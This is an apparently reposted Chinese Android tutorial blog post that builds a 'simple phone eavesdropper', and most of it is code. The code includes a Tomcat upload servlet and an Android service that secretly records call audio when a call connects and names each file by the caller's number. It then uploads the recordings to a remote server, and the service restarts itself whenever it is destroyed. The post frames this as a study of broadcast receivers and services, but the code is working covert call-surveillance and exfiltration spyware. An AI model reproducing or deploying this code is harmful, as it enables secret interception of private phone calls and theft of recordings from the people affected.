安卓菜鸟开发笔记简易窃听器

来源:互联网 发布:网络商标注册 编辑:程序博客网 时间:2024/05/21 11:30

研究广播接受者和服务的作用写出一个电话窃听器

分为以下几步

1、服务端的搭建

准备工作:

服务端使用Tomcat+servlet  工具:MyElipse jar包:commons-fileupload-1.2.2.jar    commons-io-2.0.1.jar 

新建工程创建一个Servlet上传类

package t;import java.util.List;import java.io.File;import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.apache.commons.fileupload.FileItem;import org.apache.commons.fileupload.FileItemFactory;import org.apache.commons.fileupload.disk.DiskFileItemFactory;import org.apache.commons.fileupload.servlet.ServletFileUpload;public class UploadServlet extends HttpServlet {public void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {this.doPost(request, response);}public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {boolean isMultipart = ServletFileUpload.isMultipartContent(request);     if (isMultipart) {     //获取真实路径     String realpath = request.getSession().getServletContext()              .getRealPath("/files");     System.out.println(realpath);     File dir = new File(realpath);     //如果文件不存在就在当前工程的文件夹下新建一个名为files的文件夹     if (!dir.exists())         dir.mkdirs();     FileItemFactory factory = new DiskFileItemFactory();     //解析HTTP请求的参数     ServletFileUpload upload = new ServletFileUpload(factory);     upload.setHeaderEncoding("UTF-8");     try {         List<FileItem> items = upload.parseRequest(request);         for (FileItem item : items) {             if (item.isFormField()) {                 String name1 = item.getFieldName();// 得到请求参数的名称                 String value = item.getString("UTF-8");// 得到参数值                 System.out.println(name1 + "=" + value);             } else {                 item.write(new File(dir, System.currentTimeMillis()                         + item.getName().substring(                                 item.getName().lastIndexOf("."))));             }         }     } catch (Exception e) {         e.printStackTrace();     } } }}

2、安卓端的搭建

   创建广播接收者用来接收系统播出电话时发出的广播

   创建服务用来完成后台录音和上传的操作

   创建一个上传的类

package com.example.szh.revise;import android.content.Context;import com.example.szh.revise.loopj.android.http.AsyncHttpClient;import com.example.szh.revise.loopj.android.http.AsyncHttpResponseHandler;import com.example.szh.revise.loopj.android.http.RequestParams;import org.apache.http.Header;import java.io.File;import java.io.FileNotFoundException;/** * 作者:SZH on 2016/5/24 00:49 * 邮箱:821114176@qq.com * ALL BY SZH */public class FileUpload {    public void Upload(String path){        File file = new File(path);        if(file.exists()){            String UploadUrl = "http://192.168.191.1:8080/t/UploadServlet";            AsyncHttpClient ahc = new AsyncHttpClient();            RequestParams rp = new RequestParams();            try {                rp.put("file",file);                ahc.post(UploadUrl, rp, new AsyncHttpResponseHandler() {                    @Override                    public void onSuccess(int statusCode, Header[] headers, byte[] responseBody) {                    }                    @Override                    public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) {                    }                });            } catch (FileNotFoundException e) {                e.printStackTrace();            }        }else{            System.out.println("文件不存在");        }    }}
广播接收者  接收系统拨电话的广播 启动服务

package com.example.szh.revise;import android.content.Intent;import android.os.Environment;import android.support.v7.app.AppCompatActivity;import android.os.Bundle;public class BroadCast extends AppCompatActivity {    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_broad_cast_rceiver);        Intent intent = new Intent(this,PhoneService.class);        startService(intent);    }}
服务的编写
package com.example.szh.revise;import android.annotation.TargetApi;import android.app.Notification;import android.app.NotificationManager;import android.app.Service;import android.content.Context;import android.content.Intent;import android.graphics.BitmapFactory;import android.media.MediaRecorder;import android.os.Build;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import java.io.IOException;/** * 作者:SZH on 2016/5/23 22:10 * 邮箱:821114176@qq.com * ALL BY SZH */public class PhoneService extends Service {    private TelephonyManager tm;    private MyListener listener;    private MediaRecorder mr;     NotificationManager nm;    @Override    public IBinder onBind(Intent intent) {        return null;    }    @TargetApi(Build.VERSION_CODES.JELLY_BEAN)    @Override    public void onCreate() {        /*        * TelephonyManager类主要提供了一系列用于访问与手机通讯相关的状态和信息的get方法。        * 其中包括手机SIM的状态和信息、电信网络的状态及手机用户的信息。在应用程序中可以使用这些get方法获取相关数据。         * TelephonyManager类的对象可以通过Context.getSystemService(Context.TELEPHONY_SERVICE)方法来获得,        * 需要注意的是有些通讯信息的获取对应用程序的权限有一定的限制,在开发的时候需要为其添加相应的权限。        * */        tm = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);        listener = new MyListener();        //监听器 监听状态        tm.listen(listener,PhoneStateListener.LISTEN_CALL_STATE);        super.onCreate();    }   private class MyListener extends PhoneStateListener{       String incomingNumber;       //监听手机的通话状态       @Override       public void onCallStateChanged(int state, String incomingNumber) {           if(incomingNumber!=null){               this.incomingNumber = incomingNumber;           }           switch (state){               case TelephonyManager.CALL_STATE_IDLE://空闲状态                   System.out.println("空闲状态");                   if(mr!=null){                       mr.stop();                       mr.release();                       mr = null;                       String path = Environment.getExternalStorageDirectory()+"/"+this.incomingNumber+".3gp";                       System.out.println(path);                       FileUpload fileUpload = new FileUpload();                       fileUpload.Upload(path);                   }                   break;               case TelephonyManager.CALL_STATE_RINGING://响铃状态                   System.out.println("响铃状态");                   break;               case TelephonyManager.CALL_STATE_OFFHOOK://电话接通                   System.out.println("电话接通");                   startRecorder(this.incomingNumber);                   break;           }           super.onCallStateChanged(state, incomingNumber);       }   }    @Override    public int onStartCommand(Intent intent, int flags, int startId) {        flags = START_STICKY;        return super.onStartCommand(intent, flags, startId);    }    @Override    public void onDestroy() {        tm.listen(listener,PhoneStateListener.LISTEN_NONE);        System.out.println("服务结束");        Intent localIntent = new Intent();        localIntent.setClass(this, PhoneService.class); //销毁时重新启动Service        this.startService(localIntent);        System.out.println("服务重新启动");        super.onDestroy();    }    public void startRecorder(String incomingNumber){        //创建一个录音器实例         mr = new MediaRecorder();        //设置录制的数据源\        mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);        //设置输出文件的格式 3gp        mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);        //设置保存文件的名称 保存在本机的主目录下        mr.setOutputFile(Environment.getExternalStorageDirectory()+"/"+incomingNumber+".3gp");        //设置编码方式        mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);        try {            mr.prepare();            mr.start();        } catch (IOException e) {            e.printStackTrace();        }    }}

该应用只是研究广播接收者和服务的整合 

当Activity被销毁时 服务也会被销毁 

Activity没有写任何布局



0 0